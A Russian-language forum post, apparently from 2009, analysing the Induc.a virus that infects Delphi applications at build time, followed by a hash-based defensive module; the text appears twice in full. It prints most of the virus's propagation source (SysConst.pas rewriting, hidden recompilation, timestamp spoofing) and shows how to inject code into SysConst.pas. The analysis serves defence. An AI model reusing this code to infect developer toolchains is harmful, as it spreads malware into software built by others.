flacs
20.08.2009, 22:12
Вступление
Недавно в новостях (https://forum.antichat.ru/thread136078.html) был опубликован, новый гениальный вирус , Virus.Win32.Induc.a заражает Delphi-приложения на этапе разработки.
Вирус оказался необычным и мне захотелось исследовать этот тип вируса.
Разбор полетов, первая модификация этого вируса (12 августа 2009)
function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;
while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then
break;
end;
for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var
k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if
RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Bo rland\Delphi\'+v+'.0'),0,KEY
_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c[i]<>#0 do
begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sys const.','"'+r+'\bin\dcc32.ex
e" ');
end;
RegCloseKey(k);
end;
end;
begin
st;
end.
Код несложный, изучив его вы сможете понять его логику.
Суть в том, файл sysconst.pas подключается к любым проектом delphi, а главное к файлу sysutils.pas, вследствии этого любое приложение (в том числе и консольное), будет заражено этим вирусом.
Попробуем реализовать, подобное
Откроем файл sysconst.pas, после interface
пишем uses windows;
и после строки implementation, вписываем такой код
begin
MessageBox(0,'Win32.InducA','virus',0);
end;
Компилируем, ага появилась заветное сообщение.
т.к. создателям исключительно повезло что файл sysconst.pas поставляется в исходных текстах, т.к. больше никакие системные файлы, к примеру sysitils, не поставляется в *.pas файлах, а только в *.dcu -> изменить их нельзя, но...
существуют декомпиляторы dcu файлов, и вирусописатели смогут восстановить код
так, что поняв это я начал писать универсальную защиту от подобного типа вирусов.
Защита
Мною был разработан модуль, подключающийся к любому проекту Delphi, и сигнализирующий о том что библиотеки Delphi инфицированы, для этого был закодирован алгоритм, реализующий следующие действия:
1) Создание файла хешей
2) Сверка хешей, во время запуска
Проведя небольшое исследование, и поняв что защитный модуль, включаемый в разрабатываемую программу должен БЫТЬ ПЕРВЫМ!!!
т.е.
anti_induc, sysutils;
Тогда защита срабатывает до того как инициализируется системная библиотека (sysutils, sysconst)
1) Создание файла хешей
SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, true);
В результате выполнения создается файлик по умолчанию (__hashes.md5), который будет использован для сверки хешей. Т.е. отдельно для каждой машины можно создать файл хешей, в виде
имя файла = хеш файла
2) Сверка хешей
SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, false);
Сверка хешей, происходит валидация модулей, при нахождении инфицированого модуля, выдается сообщение
Universal Detect Virus.Win32.Induc.A
File: имя файла
Также результаты записываться в лог файл %Delphi%\Lib\log.txt
Как только будет найден хоть один инфицированный модуль, процесс завершается до того, как вирус начнет действовать.
Заключение
Данный алгоритм, явлется универсальным, и будет спасать от любых модификаций этого вируса, но имеет небольшой недостаток, пересчет md5 хеша, занимает продолжительное время(2-3 сек). Но изпользовать CRC32 сходно самоубийству, т.к. подделать CRC32 можно простейшим плагином к peID.
Как альтернативу советую изпользовать как утилиту для проверки, и сделать так чтобы она запускалась при старте Windows.
исходные файлы, и эксперименты вы можете скачать по слылке
исходники (http://www.sendspace.com/file/z38q95)
(с) flacs 2009
P.S: принимаю любую конструктивную критику.
Недавно в новостях (https://forum.antichat.ru/thread136078.html) был опубликован, новый гениальный вирус , Virus.Win32.Induc.a заражает Delphi-приложения на этапе разработки.
Вирус оказался необычным и мне захотелось исследовать этот тип вируса.
Разбор полетов, первая модификация этого вируса (12 августа 2009)
function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;
while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then
break;
end;
for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var
k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if
RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Bo rland\Delphi\'+v+'.0'),0,KEY
_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c[i]<>#0 do
begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sys const.','"'+r+'\bin\dcc32.ex
e" ');
end;
RegCloseKey(k);
end;
end;
begin
st;
end.
Код несложный, изучив его вы сможете понять его логику.
Суть в том, файл sysconst.pas подключается к любым проектом delphi, а главное к файлу sysutils.pas, вследствии этого любое приложение (в том числе и консольное), будет заражено этим вирусом.
Попробуем реализовать, подобное
Откроем файл sysconst.pas, после interface
пишем uses windows;
и после строки implementation, вписываем такой код
begin
MessageBox(0,'Win32.InducA','virus',0);
end;
Компилируем, ага появилась заветное сообщение.
т.к. создателям исключительно повезло что файл sysconst.pas поставляется в исходных текстах, т.к. больше никакие системные файлы, к примеру sysitils, не поставляется в *.pas файлах, а только в *.dcu -> изменить их нельзя, но...
существуют декомпиляторы dcu файлов, и вирусописатели смогут восстановить код
так, что поняв это я начал писать универсальную защиту от подобного типа вирусов.
Защита
Мною был разработан модуль, подключающийся к любому проекту Delphi, и сигнализирующий о том что библиотеки Delphi инфицированы, для этого был закодирован алгоритм, реализующий следующие действия:
1) Создание файла хешей
2) Сверка хешей, во время запуска
Проведя небольшое исследование, и поняв что защитный модуль, включаемый в разрабатываемую программу должен БЫТЬ ПЕРВЫМ!!!
т.е.
anti_induc, sysutils;
Тогда защита срабатывает до того как инициализируется системная библиотека (sysutils, sysconst)
1) Создание файла хешей
SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, true);
В результате выполнения создается файлик по умолчанию (__hashes.md5), который будет использован для сверки хешей. Т.е. отдельно для каждой машины можно создать файл хешей, в виде
имя файла = хеш файла
2) Сверка хешей
SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, false);
Сверка хешей, происходит валидация модулей, при нахождении инфицированого модуля, выдается сообщение
Universal Detect Virus.Win32.Induc.A
File: имя файла
Также результаты записываться в лог файл %Delphi%\Lib\log.txt
Как только будет найден хоть один инфицированный модуль, процесс завершается до того, как вирус начнет действовать.
Заключение
Данный алгоритм, явлется универсальным, и будет спасать от любых модификаций этого вируса, но имеет небольшой недостаток, пересчет md5 хеша, занимает продолжительное время(2-3 сек). Но изпользовать CRC32 сходно самоубийству, т.к. подделать CRC32 можно простейшим плагином к peID.
Как альтернативу советую изпользовать как утилиту для проверки, и сделать так чтобы она запускалась при старте Windows.
исходные файлы, и эксперименты вы можете скачать по слылке
исходники (http://www.sendspace.com/file/z38q95)
(с) flacs 2009
P.S: принимаю любую конструктивную критику.